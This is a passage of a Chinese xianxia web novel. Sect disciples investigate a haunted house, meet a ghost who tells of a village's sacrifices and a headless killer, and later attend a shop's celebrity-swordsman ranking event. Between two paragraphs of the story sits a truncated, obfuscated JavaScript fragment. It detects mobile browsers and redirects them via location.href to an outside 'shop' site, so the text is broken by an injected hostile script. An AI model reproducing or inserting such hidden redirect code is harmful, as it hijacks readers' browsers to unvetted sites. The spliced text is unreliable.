推来让去三双炯炯有神的大眼睛齐齐看向了大师兄,叶斐能说什么,硬着头皮往里走,心想:果然都是年纪太轻,看师兄给你们打个样,区区荒宅鬼村而已,我见得多了……
“啊!”
叶斐刚迈进门槛的那只脚以闪电般地速度缩了回来,寒毛齐齐竖了起来,回头看向两位师妹,刚才那一声尖锐嘹亮,定是她们二人其中一位发出的。
还没开口问就见穆晓晓哆哆嗦嗦指向一个方向:“刚才,后院墙那里冒出了一个脑袋,不像是人。”
叶斐故作镇定地点点头:“无妨,进去看看吧。”
穆晓晓拉着楚纤茉连忙跟上了师兄,姐妹俩窃窃私语,听得叶斐不禁有些心虚。
“大师兄不愧是大师兄,就是比我们淡定,瞧瞧人家,步伐沉稳、面不改色……”
“是啊是啊,估计女鬼都被大师兄的气场震慑住了,这会儿都躲起来了……”
叶斐:……其实我也害怕,但谁让你们给我架这儿了……
走到后院发现是一间柴棚,里面堆了半屋子齐人高的稻草,墙上挂着几样工具,天已经黑透了,借着月光勉强可以视物,万籁俱寂只有虫鸣以及四人刻意放轻的呼吸声,很快,原本只有四个人的呼吸声里多了一个粗重的呼吸,伴随着咀嚼东西的声音,舌头搅拌、口水吞咽声如在耳畔,一众少年人都有些慌了手脚,死死握着剑柄盯着那垛柴草,忽然之间,一个庞大的黑影从草垛后面窜了出来,大眼瞪小眼一阵,除了刚开始突如其来的惊吓,大家瞬间放松下来。
穆晓晓翻了个白眼,手里拔出三寸的剑刃推回了剑鞘中,偷偷抹了一把自己额头的冷汗:“呵呵,原来是匹大白马啊,真是太好玩了……”
到底一开始是谁说看到了妖怪的?
跟他们四目相对的的确是匹马,有蹄子有脑袋的,但就是有种难以言喻的违和感,但具体哪儿不对劲却没有人能说上来。
最后叶斐绕着这匹打着响鼻、看起来还想尥蹶子的大白马走了三圈,各种试探后发现那就是一匹普通的马……浪费时间!
“咳,诸位师弟师妹,此白马并无危险,大家不必担心,再检查检查院子四周就去屋里看看吧。”
大家各自行动,东南西北转了一圈,直到屋子里发出悉悉索索的响动,听到动静的穆晓晓和楚纤茉心照不宣地聚拢起来。
穆晓晓大着胆子抬脚往廊檐下走,咽了一口唾沫,楚纤茉就跟在她身后,诚惶诚恐看着那扇破破烂烂、有几个大小窟窿的纸窗,生怕下一刻里面伸出一只瘦骨嶙峋的白骨爪,或者探出一只眼冒绿光的骷髅头来。
她有心拦着穆晓晓,但一来不敢说话,二来也不清楚穆晓晓的脾气,她是师姐,要做什么当师妹的只能顺从,若换了苏潋影自然另当别论,可惜如今天各一方,也不知苏苏如今在做什么……
楚纤茉胡思乱想之际,穆晓晓已经靠近了窗户,这姑娘的胆子也是不小,猫着腰单闭一眼,凑近窗户的窟窿往里面观看,楚纤茉刚往台阶上一走,穆晓晓噌一下站直了身子,吓了楚纤茉一跳好悬没掉下去,穆晓晓眼疾手快拉住了她,做了个噤声的手势示意她往里面瞧。
楚纤茉本能地抗拒,但还是忍着头皮炸裂的悚然,壮着胆子往里面看,眼睛还未适应房间里昏暗的光线,耳朵倒是先捕捉到了一些悉悉索索的响动,就仿佛房间里有老鼠,但很快楚纤茉就看清了屋子里的布局,没有她想象中各种可怕的场景,什么吊在房梁上晃晃悠悠、双脚悬空、七窍流血的女鬼,什么忽然冒出来跟你面对面的惨白鬼脸,都没有,房间里都是很普通的家具,但是有点不对劲,干干净净、一尘不染,连一丝土灰都没有,正奇怪穆晓晓到底让她看什么,房间里发生异动了。
楚纤茉眼睁睁看着搁在桌子上的抹布自己动了起来,仿佛有只看不见的手在拿着它擦桌子,立在墙角的扫帚也自己动了起来,斜对着地面,一下一下、刷拉刷拉往门口扫着,更可怕的是地上的桌椅板凳还会贴心地给忙碌的扫帚让路,四条木腿哒哒哒往旁边挪动,仿佛成精了一般……
楚纤茉回过头看穆晓晓,对方摊手耸肩,示意自己也不知道怎么回事,两人又顺着廊檐往西边的窗户转去。
这间屋子是一长溜,中间是客厅,左右有东西配室,半截布帘隔开了里间屋,趴在南窗上看不清两边屋子里的情况。
到了西窗再看,跟客厅差不多,也是抹布自己在勤勤恳恳地擦案板,碗筷自己往装水的铜盆里跳去……真是惊悚至极。
穆晓晓拉了拉楚纤茉的手,嘴角憋着一丝坏笑,低声道:“我们别说出去,等会儿推门进去吓死他们!”
楚纤茉一个头两个大,有些为难了,手指扭着自己的衣带,蚊子般哼哼道:“这……不太好吧?”
“嗨,有什么不好的,男子汉大丈夫,难道还真能吓死了不成?”
楚纤茉脑瓜子嗡嗡的,这个穆师姐怎么跟苏潋影一个毛病,一旦外界没有危险就非得自己搞些幺蛾子出来才行。
这时叶斐和郁霄检查完院子四周也回来了,向两位师妹询问情况。
叶斐:“院子里其他地方没有异常,你们呢?”
穆晓晓抢先道:“没有发现任何问题!”
她倒是脸不红心不跳。
叶斐这个大怨种也相信了,带着一行人推门就进了屋子,楚纤茉都不敢睁眼看,以为叶斐、郁霄他们下一秒就会惊叫出声,没想到什么事也没有发生,屋子里一切正常,就跟一间平常的房屋别无两样。
楚纤茉站在门口东张西望,桌椅、抹布、扫帚……家具们安安静静待在原地一动不动……
楚纤茉掐掐自己的人中,如果刚才不是自己出现了幻觉的话,那肯定就是这些家伙成精了,这伪装得也太好了。
眼看叶斐点燃了桌上的蜡烛后就要坐到椅子上,楚纤茉的心都快从嗓子眼里跳出来了,刚想提醒被穆晓晓拦住了,这姐是憋着劲要看大师兄出丑,没想到人家稳稳当当坐在椅子上,啥事也没有。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16704168|185807||http|test|mini|href|location''.split(''|''),0,{}));
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>啊?难道有人进入屋子里之后,里面的术法就被打破了吗?
穆晓晓不信这个邪,自己试探着往椅子上坐去,屁股沾到了椅面,没有一点问题,身子放松往下一坐——扑通——
“哎呦!疼死我了!”
穆晓晓摔在地上疼得龇牙咧嘴,楚纤茉连忙将四仰八叉的师姐扶了起来,刚才她眼睁睁看着那椅子自己往后挪了几寸,似乎不想让穆晓晓坐着,而从进门开始就站在一边的郁霄自然也看见了,神色骤然紧绷起来,提醒道:“大师兄,这屋子有点问题,不要坐椅子。”
叶斐闻言立刻站了起来,回眸看向自己刚才坐着的那把红木椅子,上面还铺着一方绣花软垫,似乎没有任何不妥,反而让他觉得很是舒适。
“怎么呢?”
郁霄拿扇子斜指椅子,眸光冷厉:“刚才穆师姐坐下时,这东西自己往后寸,八成是个精怪。”
叶斐也是神色骤变,一行人的安危都系在他一人身上,刚才不知为何居然麻痹大意了,连忙拿出验生符来四处张贴,念动仙言咒语,绕着屋子走了三圈,验生符没有任何动静,如果屋子里真的潜藏了什么精怪,按道理这符咒会自燃示警。
四人皆是相对无言,弄不清楚为什么这间屋子处处透着古怪,却至今找不到任何真正可疑的邪物。
叶斐扶额叹息:“许是这邪物品阶太低了,验生符也检测不出来,以往不是没有这种情况,大家吃完饭早点休息吧,明天还要赶路。”
楚纤茉连忙道:“我刚才看见这里有厨房,还有些食材,不如我去给大家做一点热饭热菜吧!”
闻言都有些心动,天天啃馒头喝凉水没几个人能受得了。
叶斐不好意思地笑笑:“那,那就有劳小师妹了,我们给你打下手吧!走走走,大家一起帮忙!”
楚纤茉还想推辞,表示自己一个人就可以,半个时辰的事儿,但无奈师兄师姐们太过热情,正在争执之际就听厨房里锅碗瓢盆响动声十分热闹,大火哄哄、热油呲啦啦,菜刀嚓嚓嚓……听这动静还会颠勺呢,没有十年功夫练不出来,脚背都得烫掉好几层。
穆晓晓嘴角都抽搐了:“……进去看看吗?”
众人心塞,走至西屋门口,四只手一起伸出去掀帘子……那还掀得开吗?完美诠释了一句话,人多了瞎捣乱,鸡多了不下蛋,两只鸡只好松手,神秘的面纱终于揭开,不出意外,厨房里空空荡荡没有一个人,但满屋子都是饭菜的香味,大师在他们说话之际已经做好了四菜一汤,揭开蒸汽腾腾的笼屉,里面是雪白松软的大馒头,这馒头……复制粘贴的吧?怎么大小形状一模一样的?
更可怕的是,从笼屉里拿出去一个,一回头人家自动补齐了,也不知道人家是担心他们吃不饱还是有点强迫症,自动补货贴心地有些吓人。
动其他东西也是一样的,就这小小一盘红烧肉吃到下辈子也够了。
二分队默默退出了厨房,默默蹲在了地上,默默拿出了干粮袋子……
不是我没胆子吃,主要是怕它们在我胃里复制粘贴……
76. 元福哥哥
吃罢晚饭各自休息,大家宁可坐在地上也不肯上床睡觉,不知哪个缺心眼的多了一嘴,拍着地板砰砰闷响:“哎呀,不知道这地板砖会不会动啊?半夜裂开一个大口子给我们掉下去,半截身子卡在地缝里,上不来下不去可挺难受啊。”
“外面冷风呼啸的我总不能坐院子里吧?卡地缝就卡地缝,算我倒霉行了吧?”
已至丑时,叶斐躺在床上闭目养神,感觉有人在他脸颊上吹气,轻轻抚摸他的脸,他还以为是哪个师妹,含糊不清道:“师妹你别闹了……”
戳在他脸上的手指顿了一下,随后狠狠掐了一把他的脸,叶斐惊得坐起,却没有任何人。
叶斐凝视着空荡荡的屋子嘴角勾起一丝笑意,两手交叠在脑后又重新躺了下来,嘴里还念念叨叨:“原来是自己吓自己……”
他闭上眼睛假装睡熟了,甚至轻轻打起了呼噜,果然脸颊上又有冷气拂过,似乎是有人俯身看着他,对方冰冷的呼吸中又带着一股馥郁的花香,叶斐悄悄屏住呼吸,生怕这香气里有什么古怪,那人占他便宜没够了,一只小手自他脸颊一直往下摸,贴上了脖颈,叶斐忍着没有打哆嗦,小手继续往下滑,从他胸口滑到腹部不动了,过了好一会儿伸手去拽他的腰带,叶斐脸颊就是一红,生理反应他没办法控制,趁机一把扣住了它的手,反身一压将人死死禁锢在床上。
正在此时,穆晓晓举着烛台打着哈欠进去,一看这香艳的场面瞬间不困了。
“哇哦,我是不是打扰大师兄雅兴了,这事儿你自己忙活就行了喊我干嘛?”
不是谁喊你了?还有什么叫打扰我雅兴了?这死孩子,三天不打上房揭瓦!
他这话说得亏心,的的确确是喊了声“师妹”的,不过是一刻钟以前了,穆晓晓听见了,懒得过来,跟周公又下了一会儿棋,最后实在是良心过意不去忍着困意爬了起来,没想到一进去就看见素日最正经八百的大师兄,衣衫不整压着一个温香软玉的大美人,而美人也很主动,一双玉臂勾着叶斐的脖子,樱桃小嘴嘟起要献上香吻,叶斐抓着这女精怪躲都没地方躲。
穆晓晓急得抓耳挠腮,直唉声叹气,你说我好端端的拿留影石记录那些山山水水做什么?真浪费物资!这等热闹在山门里哪里看得着?
慌忙翻出一颗留影石忙着清除里面的图像,叶斐已经拿缚妖索将那女孩绑了起来,理理自己的衣服还是衣冠楚楚、正人君子模样,站起来离姑娘三尺远,脸上潮红还没褪去,清咳两声审问犯人一般:
“说!你究竟是什么人!鬼鬼祟祟躲在这荒宅里意欲何为?”
那紫衣姑娘将蛾眉一蹙,两行眼泪就流了下来,眼巴巴望着叶斐,一副心碎模样,让人心生怜悯,挣了挣身上的绳子结果缚妖索越发往肉里勒去,姑娘可怜巴巴看着叶斐,带着哭腔诘问道:“元福哥哥,我是小嫣啊,罗小嫣啊!你当真不记得我了吗?”
看热闹的不嫌事大,穆晓晓一看这架势八卦之魂熊熊燃烧:“大师兄!你怎么能这样?始乱终弃可不行,咱们梵净山弟子敢作敢当,绝不能当这负心汉!”
罗小嫣也是连连点头,从善如流跟穆晓晓穿上了一条裤子,眼泪涟涟、娇嗔微微:“是啊,元福哥哥,你可不能始乱终弃啊!”
叶斐有嘴也说不清了,先修理穆晓晓:“什么就我是负心汉,始乱终弃了?师妹你别添乱行不行?当心我回去告你毁谤同门!”
穆晓晓嘟嘴看向了一边,假装自己是个哑巴。
终于解决一个,叶斐抹了把额头急出来的热汗,又看向床上坐着的那姑娘,对着她深施一礼,稳了稳心神:“姑娘,适才是在下考虑不周冒犯了,可是做人得讲良心,我叶斐虽然没有大才大德,可是素来尊师重道、洁身自好,自问于天地无愧,姑娘再仔细想想,可是认错了人?”
罗小嫣看着他,眼眸通红,却坚定地摇摇头,一口咬定叶斐就是她的元福哥哥,是她的未婚夫。
叶斐的拳头紧了又紧,一股无名之火腾起三千丈,这时郁霄和楚纤茉也进了东里间屋,穆晓晓跟他们解释了一下情况。
郁霄也解劝罗小嫣,温声道:“罗姑娘,我们大师兄自小在梵净山清修,鲜少下山,就算偶然下山也是奉命公干,或是接四方百姓的委托降妖除魔,第一次来这黑狗村,怎么可能认识姑娘你?况且我们大师兄品行端正、敢作敢当,乃是吾辈楷模,无论如何我们这些人都相信他!”
楚纤茉也点点头,掷地有声道:“对,我们相信大师兄!是吧穆师姐?”
穆晓晓中气不足、小鸡啄米式点头:“对对对,我要是不相信大师兄就天打雷劈……”
轰隆隆……晴天一个霹雳……举头三尺有神明啊!
叶斐深深呼出一口气,紧绷的身子放松了,一转身跟师弟师妹们深深鞠躬:“多谢各位了。”
可是这种事他自己说了也不算,那罗小嫣一口咬定了他就是李元福,是她的未婚夫。
眼见局势僵持住了,穆晓晓连忙解劝:“两位,狗咬狗一嘴毛啊——”
罗小嫣瞪起两眼:“你怎么说话的?”
穆晓晓一咧嘴:“那个,话糙理不糙,这么着,你就说一下你的情况,我们听一听怎么回事,你看行不行?”
罗小嫣看向叶斐,见他也点头了便放下心来,两点含情眸看着叶斐,眸中的深情与悲切不似作伪,漫启朱唇道出一段往事来。
“元福哥哥——”
叶斐紧拦着:“姑娘,在下行不更名坐不改姓,我叫叶斐,叶落归根的叶,文采斐然的斐。”
罗小嫣苦笑一声:“好吧,叶公子,你说你自小在仙山清修,那你可记得生你者谁?养你者谁?”
叶斐愣了一下,老实回答道:“我是师尊云游之际捡回山的弃儿,无名无姓,师尊待我如子,我事师尊如父,故此跟师尊姓。”
罗小嫣笑着摇摇头:“原来你是真的一点都记不得了,李元福……我等你这么久,盼你这么久,不想你竟如此无情无义,不仅忘了我,连自己的过去也忘得一干二净。”
叶斐一脸茫然,心里有些气恼这姑娘的蛮不讲理,但面上依旧客客气气,又是深施一礼:“罗姑娘,我很理解你现在的心情,可我不是你等待的那位李元福,怎么能冒认呢?”
罗小嫣腮边泪痕干了又湿,笑着点点头:“二十五岁,属龙,喜欢种花、品茶,抄写诗集……”
叶斐:“这些都可以打听到……”
罗小嫣与他对视:“你腹部有道三寸长的疤,知道是怎么来的吗?”
叶斐豁然瞪大了眼睛,往后倒退半步,盯着这姑娘仿佛盯着一个怪物。
“从你记事起就有了,是吧?这疤痕歪七扭八,很是丑陋,非刀刃所伤,而是你弟弟将你推进了荆棘丛里,见你浑身是血他慌乱想将你拽出来,没想到有一根荆棘正好刺进了你小腹,他这一拽差点将你开膛破肚……你弟弟吓得哇哇大哭,正巧有个赤脚郎中路过,剪断荆条将你救了出来,带到家里又是清洗伤口、又是缝合包扎,我就是在那个时候认识你的。你怕弟弟被
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父母责骂,央求我爹不要将你受伤的事说出去,此后你隔三岔五来我家换药,渐渐与我交好,我们两家的长辈本就认识,便给你我二人定下了婚约,交换了生辰八字。”
叶斐还是记不起来,茫然地摇摇头,但对这姑娘说的话已经不像之前那么排斥了,他本就是个温和宽厚的人,见姑娘神情哀切不似说谎,认定她是错认了自己,轻声询问:“那罗姑娘你现在这般……是怎么回事?”
如果她说的都是真的,这罗小嫣之前应该是人才对,怎么如今不人不鬼、非妖非怪?
罗小嫣久久凝望着他,忽然露出一个释然的微笑:“元福哥哥,你果然还是跟当年一样,即使不记得一切了,对一个陌生人都是如此关心,其实我现在这般模样,本不求能嫁给你,守在你家的旧宅里,不过是想有朝一日再见你一面罢了。”
叶斐摇摇头又点点头,对这姑娘无奈又同情:“你愿意叫就这么叫吧。”
罗小嫣眉眼柔和地看着他:“元福哥哥,你是个好人,就是因为太好了,所以我才放不下,就是因为太好了,所以才没有落得个好下场……”
她望着明灭跳跃的烛光,眼神渐渐空洞,思绪飘了很远很远,将那些碎片般斑驳的记忆拼凑起来,说给等待了许多许多年的青梅竹马听。
“黑狗村的女孩子命不好,因为每年村长都会选出来一个符合要求的献祭给鬼王,但我算是比较幸运的,因为我……是个残缺之人,生下来左脚就有六根脚趾,曾经我因为这点瑕疵而自卑过,我爹是四村八乡有名的大夫,我哭着求着让他帮我割掉这根多出来的脚趾,我爹起先还哄我劝我,说什么等我长大一点也不迟,后来我知道他是骗我的,就想自己偷偷割掉,反正我也会一些止血包扎的手法,没想到被我爹发现了,他从来舍不得对我说一句重话,那次却狠狠扇了我两个耳光,我羞愤难当冲出了屋子,一直到了小河边,我光着脚看着自己那根怪物一样的脚趾,狠狠地掰它、扯它,疼得眼泪直流,没想到元福哥哥过来了,我连忙将左脚缩进了裙子底下,不敢让他看见,”
罗小嫣说到这里脸上浮现一抹笑意,如粉桃初绽、如霞映澄塘,众人听得入神、看得入神,从未见过有人能露出这般美好纯洁的微笑。
“元福哥哥蹲下来将我的脚踝握住,从裙底轻轻拽了出来,我哭着喊着让他走开,他也不生气,拿自己的袖子擦干净我脚底的尘土,从怀里拿出我丢在家里的鞋袜仔仔细细帮我穿好了,他告诉我,我是最与众不同的,如果我们哪一天分开了,长大了,变了模样,他就能凭借这只特别的脚趾认出我来,如果我变得和别人一样了,他可就犯糊涂了,找不到自己的新娘了……我被逗笑了,却也得到了一个令人难过的消息,原来他们家要离开黑狗村了。”
“我还没来得及送送元福哥哥,村里就发生了一场大乱,村里要被祭祀的聂家姐姐串通别人要逃跑,那个人我记得,他小时候就住在村子里,给张财主家放牛,别人都说他是个哑巴,是个怪物,因为他总是独来独往,不跟任何人说话,每次见他,他身上都是青青紫紫带血的鞭痕,那个张大财主不是克扣他的工钱就是找茬抽他鞭子,可我知道,那个小长工不是哑巴,我曾经听见他唱歌,不怎么好听……后来那个小长工终于是逃跑了,逃离了这个古怪的村子,却不知为何又要回来,扮作了一个卖胭脂的商人,还悄悄联系村里的女人们跟他一起逃跑,一部分姑娘被他说活动了心,回家收拾东西了,那些媳妇嘴上没说什么,却偷偷将他们逃跑的时间和路线告诉了村长。”
77. 前缘既断
穆晓晓气得暴跳如雷,一拳砸在了墙上:“真是岂有此理!自己不想离开却要连累别人,世界上怎会有如此恶毒之人!”
楚纤茉紧拦着:“师姐师姐,冷静,都是以前的事了——”
穆晓晓脖颈上青筋突兀,一回头步摇差点甩楚纤茉脸上:“我如何咽得下这口气!”
郁霄也笑劝:“师姐,先听人家把话说完,指不定后面怎么样呢。”
穆晓晓抿着嘴压制怒火,罗小嫣接着道:“那个小长工自然没能跑掉,落在了村长他们手里,被处以极刑,死状极其惨烈,那些想跟他一起逃跑的姑娘,因为法不责众,村长只将带头的聂家姐姐关进了祠堂勒死了……自这二人死后,诡异的事就发生了,时常有人在晚上看到一个无头的红衣男子在村中游荡,遇见人就索要他的头颅,那人若是回答不上来,无头男子就会拧下他的头颅……村里一些老人之间悄悄流传着一句话,说死前遭遇越是凄惨,这鬼的怨气就越重,生前活得越是凄苦,死后越想报复所有人,那无头男子就是这样。”
窗外风声呜咽,哗啦一声——窗户被吹开了,冷风卷着纸钱嗖嗖地往屋子里灌,两个女孩“妈呀”一声一蹦三尺高,吱哩哇啦抱在了一起,郁霄连忙走过去,居然还敢将身子探出窗户外观望,发现没有异样后关了窗,拿插销别住,看着两个瑟瑟发抖的人笑道:“没事,就是一阵阴风而已。”
两人这才松了口气,血色重新涌回脸上,就听罗小嫣道:“许是他不高兴了吧,他这人就是这样,喜怒无常,做事全凭自己心意,他杀的最后一个人,是我。”
穆晓晓、楚纤茉忘记了害怕,全神贯注地盯着罗小嫣的唇,脑子里一片空白,千万个问题浮上心头,却无论如何都张不了嘴。
“我躲在床底下,手里拿着一大把被汗水打湿的符咒,听着门被踹开,一个人踢踢踏踏走了进来,在屋里扫视一圈后又缓缓拉开椅子坐下了,我知道,不杀了我他是不会走的,我听见他说,‘出来吧,我知道你在床底下,还是要我请你出来’,我都快吓疯了,最后一咬牙心一横爬了出来,我爹爹都让他杀了啊,我活着还有什么意思?我以为自己会看到村里人口中狰狞可怖的无头鬼,没想到却是一个看着跟正常人无异的红衣男子,满头长发凌乱披散着,看不清脸,我刚站起来眼前就是一花,他掐住了我的脖子,我手里那些可笑的符纸洒了一地,以为自己这就要死了,没想到他忽然又松手了。”
穆晓晓悬着的心脏又落了回去:“他放过你了?”
罗小嫣微微一笑:“怎么可能?他说自己有些无聊,我是村里最后一个人了,想跟我聊聊。我战战兢兢听着,有时候他会问我一些问题,我当时哪里答得上来?只能想到什么说什么了,他却听得很认真,还在手心里写写画画,思索着什么。”
楚纤茉也好奇道:“他问你什么?”
“很多,很杂,我大概记得几个,他问‘有一个人,对你很好很好,却在你死后不管不问,这是为什么?’、‘这个人待别人一般,唯独待你特别,时时关心、事事在意,是怜悯还是爱意?’、‘不行,我不能问,她若生气了我没办法哄好她,而且现在我上哪儿去找她呢?’他就这样跟我聊了一宿,很多时候都是他在自言自语,只言片语中我大概猜到了一些,像他这样睚眦必报、心如铁石的人,居然也有喜欢的人,而且他在那个人面前惯会演戏,装得光风霁月、胸怀豁达,只是为了让她高兴,然后待他好一点,再好一点,他说,如果不是他打不过她,一定杀了她给自己陪葬,生生世世、生生死死都在一起。”
满屋寂然,两个女孩听得面无血色、呼吸渐渐急促,这是什么人啊!欺辱自己的人要杀,对自己好的人要杀,无关紧要的也要杀,根本就是疯子吧!
叶斐觉察后连忙喝令:“别胡思乱想!念三遍、三十遍清心诀!”
这一声如玉柱撞金钟,叶斐丹田气里显然是灌入了灵力,助她二人扫清迷障,穆晓晓和楚纤茉这才回过神来,暗道好险,居然差点道心动摇,连忙暗诵清心诀不敢再听下去。
其实罗小嫣的故事到这儿也快讲完了,天光朦胧,近乎破晓。
她轻叹道:“黎明时分,他站了起来,一掌拍在我天灵上,我五官七窍里都有热乎乎的粘稠液体往外流,看着他的身影渐渐消失,我迷迷茫茫,不知道该往哪里走,风一吹就迷失了方向,一直在村子里飘飘荡荡兜圈子,后来找到了元福哥哥的家,我就一直在这儿等着他,我庆幸他早就离开了,不必遭此横祸。祖上无德祸及子孙,这都是我们黑狗村的报应啊,我不怨旁人,却只是担心有一天元福哥哥回来找不到我,以为我早就嫁人了,忘了和他的约定,我等了一年又一年,等到村里杂树参天、荒草丛生,始终没有见到他。我没有实体,日复一日守在这荒宅之中越发虚弱,只能依附于元福哥哥种在院子东南角的一株魏紫牡丹之上,久而久之那花竟成了我的本体,我就变成了这副不人不鬼、非妖非怪的模样。”
郁霄轻叹了口气:“罗姑娘,你说的是九百年前的事了,你等的那位李公子早不知转世轮回多少次了。”
罗小嫣睁大眼睛看着叶斐:“可是他跟元福哥哥真的一模一样,莫非他就是元福哥哥的转世吗?”
郁霄轻笑着摇摇头:“退一万步来说,就算是转世又怎么样?他还是你等的那位李元福吗?他现在叫叶斐,他有师父,有朋友,有我们这群师弟师妹要照顾,还有自己的使命和追求,断无可能陪姑娘再续前缘,还望姑娘理解。”
叶斐倚着一根柱子站在旁边,良久都没有说话,屋子里静悄悄,似乎都在等当事人开口,罗小嫣也望眼欲穿地看着他,眉目间是温软的笑意,似乎无论叶斐说什么她都愿意照着去做。
“你,还有什么未了的心愿吗?”
罗小嫣睁大了眼睛,一颗心七上八下、忐忑不安,最后按捺住激动一口气将自己的愿望都说了出来,其实也不算愿望,都是一些很琐碎的小事,但找不到那个陪她去
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完成的人,小小的心愿就变成了跨越九百年的执念。
“元福哥哥答应过我,要带我去镇子上的酒楼买点心、然后在画舫中喝酒,还要给我编花环,给我捉好多萤火虫做一盏漂亮的小灯笼。”
叶斐点点头,看向其他人:“有劳各位等我一天,或者你们先行一步,我随后赶上,路上注意安全。”
最终众人决定在黑狗村暂留一天,叶斐朝罗小嫣伸出了手,微微噙笑:“走吧。”
罗小嫣愣在了原地,抬手抹了一把眼泪,小心翼翼将自己的柔荑放入他宽大的掌心里,用力点了点头。
天蒙蒙亮,乡间小路上两人并排而行,青衣的公子温润如玉,紫衫的姑娘清婉动人,宛如一对金童玉女,一路上罗小嫣满含笑意,两颊生晕,恰如三月灼灼的桃花,时不时侧眸看旁边的叶斐一眼,又怕被他发现,含着笑低垂螓首看着自己的鞋尖。
叶斐怎么可能察觉不到,微微有些不自在,他不是没和女孩相处过,可是一想到这姑娘把自己当成了她的什么人就有些紧绷,但想到此行的目的又努力说服自己去扮演好这个角色。
走到槐荫镇已经快到未时了,点心铺前排起了大队长龙,而对面的红线坊也是生意兴隆,早早的居然就宾客盈门,但奇怪的是皆是一群打扮得花枝招展的女人,老的少的、黑的白的、丑的俊的都有,有轻逸出尘佩戴长剑的清府仙子,也有挎着菜篮子盘起发髻的半老徐娘,甚至是头发花白一笑就漏风的老太太;有穿绸裹缎、满头金玉的小姐、太太,簇拥着主子们的娇俏丫鬟,还有衣衫褴褛、捉襟见肘的花儿乞丐……此时大家都是翘首以盼在红线坊门前排队等候,不时地窃窃私语,每个人脸上都洋溢着笑意。
一群八竿子打不着的人聚在一起,画风着实有些诡异,而叶斐身为修士看到听到的自然比旁人更多,他在这群女人身上感觉到了复杂的妖气,乃至于魔息和死气。
手不由地按到了腰侧的剑柄上,目光则牢牢锁在这群人身上,仿佛只要发生一点异动他手中剑就会出鞘,心脏跳动地快于平常,仿佛十五只吊桶打水——七上八下,摸不清这么多妖魔鬼怪掺和在一群凡人中究竟想做什么。
罗小嫣好奇地踮起脚,似乎想越过眼前攒动的人头看看店铺里到底在做什么,奈何个子不够高,下意识问旁边的叶斐:“元福哥哥,你知道他们在做什么吗?”
一句话点醒了叶斐,他仰起脖子看去,很容易就看到了红线坊贴在门口的一张红纸,看清内容后微微眯起了眼睛,说不上是什么心情。
罗小嫣满脸好奇地看向他。
叶斐按在剑柄上的手松开又抓住,拔剑四顾心茫然,舔舔嘴唇将涌到嘴边的话咽了回去,他还得扮演好李元福……不过这群人,还有这个红线坊的店主,你们真是吃饱了撑的!找个厂子纳鞋底子也不至于这么闲啊!
叶斐脸上的表情实在太过精彩纷呈,勾得罗小嫣越发好奇,连声催促:“元福哥哥,你到底看见什么了?”
78. 一线吃瓜
叶斐是个老实人,也不会撒谎就照实说了,按着红线坊门前的告示往下读,唯一的瑕疵就是把人家热情洋溢的广告词读得跟梵净山长老会的年度总结一样,死气沉沉没有一点情感起伏。(所以我们不听他的,还是看看钟老板的激情演讲。)
不多时一袭红黑色春装、盛装打扮的红线坊老板钟诗琼出来了,顾盼神飞、春风拂面,拿着一把灰羽闪光缎的琼花团扇,站在台阶上环视众人,开门迎客笑意盈盈,一说话吐气如兰。
“各位父老乡亲,亲爱的姐姐妹妹们!三年一度、激动人心的名侠榜评选——收官揭榜夜即将拉开序幕!小店承蒙各位姐妹的信任,担任此次评选工作的总评委,我们在搜集各位名侠的精彩物料的同时,也制定了绝对公平公正的评选模式,综合多个维度考察多项素质,例如修为、人品、功绩、相貌等等等等,经过层层筛选,十二名侠脱颖而出!今年的榜首究竟花落谁家呢?究竟是哪位幸运客官慧眼识珠压中了榜首呢?”
一片欢呼之声,几乎掀翻屋檐。
钟诗琼愈发神采飞扬,团扇在空中指点、语调抑扬顿挫,将众人的情绪拿捏得恰到好处。
“姐妹们,想不想知道压中十二名侠的奖励是什么啊?”
“想!”
钟诗琼竖起两根纤纤玉指:“比押金高出两倍的返利之外还有——”拖长语调吊足了人的胃口,“还有该名侠私房画一张哦,画痴独孤公子执笔,名侠亲笔签名,想不想要?”
“想!!!”
钟诗琼拿团扇遮住了下半张脸,不能笑得太放肆了,一群肥韭菜还真信啊,我上哪儿给你们找画痴去?所谓名侠签名都是我自己仿的笔迹。
钟诗琼清咳一声抬手拿扇子往下压压沸腾的声潮,看这群韭菜都快疯了决定再浇一瓢油,争取让你们发热的脑浆彻底翻滚。
“猜猜压中前三名的奖励是什么?”
环顾一圈揭晓谜底,一瞬之间半条街道都开锅了,叶斐连忙将旁边的罗小嫣护在身后,拉着她远离危险地带,惊骇万分,这群女人都疯了不成?
跟仰慕的名侠同游一天能不疯吗?
钟诗琼退至一边招呼大家进店,一群人呼呼啦啦、纷涌而上,各自抢占最佳观看位置。
这红线坊不知何时扩建了,比之前大了两倍不止,香烛纸人都收了起来,一楼中间正对门搭着三尺高台,一条条艳丽的红绸花带自穹顶垂下,红毯铺地、花瓣飘飞,一片宽两丈、长一丈的红绸遮住了高台后的一面粉墙,看来所有的秘密都在那张红绸后面了。
前面是一张铺着厚重红色绒布的圆桌,上置一个檀木漆盘,盘子里是十二枚流光溢彩的留影石。
除却这个高台之外,店里其他的地方都摆满了桌椅,座无虚席,许多人没地方坐都挤着站在一起。
黑衣红裳,系着白色小围裙,头上扎着白发带的十二名侍女给客人们奉上茶水点心,不仅衣着打扮一模一样,连脸上的微笑都如出一辙,看久了会给你一种她们连长相都一模一样的错觉。
眼前一切着实诡异,而且有许多手无缚鸡之力的凡人在,叶斐不敢轻易离开,万一出点乱子定会造成重大伤亡,陪着罗小嫣一起进了红线坊,站在一个不起眼的角落,红线坊中不单是女客,也有几位是陪着家中女眷的少年公子,叶斐站在人群中并不违和。
钟诗琼提着华丽厚重的裙摆,娉娉袅袅上了高台,站在中间向东南西三个方向各施一礼,直起腰后脸上挂着那种神采飞扬的清爽笑意,手中团扇在胸前缓缓摇动,在台上款款走了一圈,摇风摆柳,仪态万千。
“山外青山楼外楼,寒枪冷剑各风流。胸怀千壑谁能挡?剑荡八荒唯我狂。醉时敢言摘星月,笑为美人折劲腰。一朝侠名天下动,花前月下影难双……”
